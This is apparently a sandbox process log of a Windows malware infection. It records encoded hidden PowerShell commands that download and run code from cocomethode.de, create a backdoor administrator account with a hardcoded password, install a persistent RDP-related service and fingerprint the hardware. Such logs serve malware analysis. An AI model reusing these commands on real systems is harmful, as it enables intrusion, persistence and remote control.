Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF0C.tmp" "c:\Users\user\AppData\Local\Temp\myainnc2\CSC6AA9D23DB1D446FF89BA3B754739F41D.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: unknown	Process created: C:\Windows\Temp\myRdpService.exe C:\Windows\Temp\myRdpService.exe cakoi10
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand 